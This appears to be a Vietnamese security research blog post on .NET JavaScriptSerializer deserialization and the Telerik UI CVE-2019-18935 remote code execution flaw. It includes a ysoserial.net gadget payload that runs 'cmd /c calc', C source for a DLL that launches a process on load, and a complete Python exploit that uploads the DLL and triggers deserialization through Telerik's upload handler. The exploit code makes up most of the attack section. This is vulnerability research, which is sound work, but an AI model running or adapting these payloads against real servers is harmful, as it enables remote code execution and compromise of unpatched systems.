Nguyên văn trang chủ Microsoft:
For .NET Framework 4.7.2 and later versions, use the APIs in the System.Text.Json namespace for serialization and deserialization. For earlier versions of .NET Framework, use Newtonsoft.Json. This type was intended to provide serialization and deserialization functionality for AJAX-enabled applications.
Họ cung cấp tính năng Serialize và deserialize trong .NET đối với dạng json, cùng với đó có một số lib hỗ trợ như: Json.NET, DataContractJsonSerializer và JavaScriptSerializer
Json.NET (Newtonsoft.Json): Đây là một thư viện mã nguồn mở do James Newton-King phát triển, không thuộc Microsoft. Tuy nhiên, Json.NET được sử dụng rất phổ biến trong các dự án .NET, và Microsoft đã tích hợp Json.NET vào ASP.NET Core như là một giải pháp chuẩn cho việc xử lý JSON trong một số phiên bản trước khi chuyển sang sử dụng System.Text.Json.
DataContractJsonSerializer: Là một phần của .NET Framework. Thư viện này được phát triển và duy trì bởi Microsoft.
JavaScriptSerializer: Đây cũng là một thư viện của Microsoft. Thư viện này namespace System.Web.Script.Serialization và chủ yếu được sử dụng để chuyển đổi dữ liệu giữa JSON và đối tượng trong các ứng dụng ASP.NET.
System.Web.Extensions
ở Reference trong Dependencies
using System;
using System.Web.Script.Serialization;
namespace JavascriptSer
{
class Person
{
public string Name { get; set; }
}
internal class Program
{
public static void Main(string[] args)
{
Person person = new Person() { Name = "onsra" };
JavaScriptSerializer serializer = new JavaScriptSerializer();
string v = serializer.Serialize(person);
Console.WriteLine(v);
Person p = serializer.Deserialize<Person>(v);
Console.WriteLine(p.Name);
// SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
string v1 = serializerWithType.Serialize(person);
Console.WriteLine(v1);
Person p1 = serializerWithType.Deserialize<Person>(v1);
Console.WriteLine(p1.Name);
Console.ReadKey();
}
}
}
Ở line 23 khởi tạo JavaScriptSerializer
với arg type resolver
SimpleTypeResolver là class được kế thừa từ JavaScriptTypeResolver, dùng cho việc derser, unser cho dạng type json
Đi sâu vào class JavaScriptSerializer, ta thấy có 3 method cho deserialization:
Cả 3 method này đều return: return JavaScriptSerializer.Deserialize(this, input, (Type) null, this.RecursionLimit);
Để đi sâu hơn vào các hàm bên trong mình sử dụng ysoserial.net để tạo chain rồi phân tích.
C:\Users\onsra\Downloads\ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9\Release>ysoserial.exe -f JavaScriptSerializer -g objectdataprovider -c calc
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c calc'
}
}
}
Sau đó add payload vào file json trong thư mục sau:
Code:
using System;
using System.IO;
using System.Web.Script.Serialization;
namespace JavascriptSer
{
class Person
{
public string Name { get; set; }
}
internal class Program
{
public static void Main(string[] args)
{
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
serializerWithType.Deserialize<Object>(File.ReadAllText("1.json"));
Console.ReadKey();
}
}
}
Bắt đầu từ serializerWithType.Deserialize call đến hàm Deserialize
-> BasicDeserialize
-> DeserializeInternal
Dòng 67: Covert data qua dictionary gồm các key và value của nó
Dòng 68 sẽ kiểm tra xem DeserializeDictionary có chứa key __type
hay không. Trong trường hợp này có, sẽ tiếp tục call ConvertObjectToType
-> ConvertObjectToTypeMain
Dòng 260 check type null -> call ConvertObjectToTypeInternal
-> Call ConvertDictionaryToObject
-> serializer.TypeResolver.ResolveType(id) -> dictionary.Remove("__type")
-> Activator.CreateInstance(type1)
Khi chuyển vào __type, json chứa các trường, nó sẽ được chuyển đổi thành một đối tượng có kiểu tương ứng.
Tổng quan về CVE này:
Telerik khi upload nó sẽ tạo ra rauPostData
(nôm na sẽ là đoạn encrypt gồm 1 số thành phần) sau đó để kiểm tra xem quá trình upload lên có bị sửa đổi gì không.
Ví dụ ở đoạn code này:
Kết hợp lại CVE-2017-11317 (upload file tuỳ ý) + lỗi Deserialize tạo nên CVE này
Dòng 373 sẽ chia rauPostData
thành 2 mảng phần tử bằng split &
,phần đầu sẽ được gắn vào biến text, phần còn lại sẽ là loại type.
Dòng 376 sẽ Deserialize với loại type chỉ định
Đi sâu vào class SerializationService ta sẽ thấy sử dụng JavaScriptSerializer, dòng 32 sẽ invoke loại object mà mình đưa vào, ở đây ta sẽ control nó sang dạng json, để có thể RCE.
Ở sự kiện BlackHat họ có public 1 Gadget của Json Deser: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
Họ cũng đã nói rõ 2 hướng để có thể RCE như trong hình.
Như vậy ở CVE này có thể lợi dụng việc upload file tuỳ ý, mình sẽ upload một file dll Mixed Assembly. Sau đó sẽ dùng chain để call đến file dll đó để trigger.
File calc.c:
#include <windows.h>
// Entry point for the DLL application
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// Prevent DLL_THREAD_ATTACH and DLL_THREAD_DETACH notifications
DisableThreadLibraryCalls(hinstDLL);
// Launch calc.exe
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (CreateProcess(
NULL, // No module name (use command line)
"calc.exe", // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
// Successfully created the process. Close handles.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
break;
case DLL_PROCESS_DETACH:
break;
// Optionally handle other cases like DLL_THREAD_ATTACH and DLL_THREAD_DETACH
}
return TRUE; // Successful DLL_PROCESS_ATTACH
}
Sau đó complie đoạn c trên thành assembly DLL.
Kết hợp và sửa lại POC CVE upload file: https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from time import time
from urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
version = '2017'
filename_local = 'payloads/calc-092024163310,69-x86.dll'
temp_target_folder = r'D:\Research\TelerikCVE-2019-18935\TelerikCVE-2019-18935\App_Data'.replace('/', '\\')
url = 'http://localhost:5000/Telerik.Web.UI.WebResource.axd?type=rau'
def send_request(files):
response = post(url, files=files)
try:
result = loads(response.text)
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
pprint(result)
except Exception as e:
print(f"Error: {e}")
print(response.text)
def build_raupostdata(post_data, data_type):
return RAUCipher.encrypt(dumps(post_data)) + '&' + RAUCipher.encrypt(data_type)
def upload():
post_data = {
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version),
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version),
'MaxFileSize': 0,
'TimeToLive': {
'Ticks': 1440000000000,
'Days': 0,
'Hours': 40,
'Minutes': 0,
'Seconds': 0,
'Milliseconds': 0,
'TotalDays': 1.6666666666666666,
'TotalHours': 40,
'TotalMinutes': 2400,
'TotalSeconds': 144000,
'TotalMilliseconds': 144000000
},
'UseApplicationPoolImpersonation': False
}
data_type = f'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version={version}, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
raupostdata = build_raupostdata(post_data, data_type)
with open(filename_local, 'rb') as f:
payload = f.read()
metadata = {
'TotalChunks': 1,
'ChunkIndex': 0,
'TotalFileSize': 1,
'UploadID': filename_remote
}
files = {
'rauPostData': (None, raupostdata),
'file': (filename_remote, payload, 'application/octet-stream'),
'fileName': (None, filename_remote),
'contentType': (None, 'application/octet-stream'),
'lastModifiedDate': (None, '2024-09-22T04:42:08.414Z'),
'metadata': (None, dumps(metadata))
}
send_request(files)
def deserialize():
post_data = {
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
}
data_type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
raupostdata = build_raupostdata(post_data, data_type)
files = {
'rauPostData': (None, raupostdata),
'': ''
}
send_request(files)
if __name__ == '__main__':
filename_remote = str(time()) + splitext(basename(filename_local))[1]
upload()
deserialize()
Sau khi chạy request Calc sẽ popup, như vậy là thành công.